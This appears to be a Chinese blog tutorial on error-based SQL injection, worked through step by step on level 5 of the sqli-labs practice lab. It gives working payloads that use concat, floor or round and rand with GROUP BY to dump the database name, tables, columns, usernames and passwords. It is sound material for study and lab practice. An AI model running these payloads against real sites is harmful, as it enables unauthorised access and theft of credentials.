SQL注入姿势(2)

报错注入

在开始之前,我们先了解几个相关函数

1
2
3
4
5
6
7
8
concat(字符串1,字符串2,字符串3,...)
//将字符串1,2,3等连到一起,如果其中一个字符串为空则返回空
rand()
//随机函数,返回一个0-1之间的实数
floor()
//向下取整,比如floor(0.9026)=0
round(n,l)
//取整函数,取整方式为四舍五入,n为要操作的数,l为小数点后要保留的位数

我们以sqli-labs的第五关为例:

1、判断注入点

输入id=1时发现页面正常显示
在这里插入图片描述
当输入id=1’ –+ 时,页面输出提示信息
在这里插入图片描述
由此可以看出select语句为 select * from table where id='input'

2、爆库名

由于此处只有一个显位,所以每次只能爆出一个东西

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
由于concat()函数和round()函数,所以是否爆出数据库字是个概率事件,这里用floor()函数爆出的概率没有round()函数爆出的概率大,所以个人习惯用round()函数。

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,round(rand()*2,0)) as a from information_schema.tables group by a --+

3、爆表名

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,round(rand()*2,0)) as a from information_schema.tables group by a --+

表名也得一个个的爆,通过修改limit 后面的第一个参数来实现,后面的字段名和元素值也一样

在这里插入图片描述

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,0x3a,round(rand()*2,0)) as a from information_schema.tables group by a --+

在这里插入图片描述
爆出的表有:emails,referers,uagents,users,但只有users是我们想要的。

4、爆字段名

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,round(rand()*2,0)) as a from information_schema.columns group by a --+

在这里插入图片描述
爆出来的字段有三个:id,username,password
5、爆元素值

爆用户名:

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,0x3a,round(rand()*2,0)) as a from information_schema.columns group by a --+

在这里插入图片描述
爆密码:

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select password from users limit 0,1),0x3a,0x3a,round(rand()*2,0)) as a from information_schema.columns group by a --+

在这里插入图片描述

文章目录
  1. 1. 报错注入
|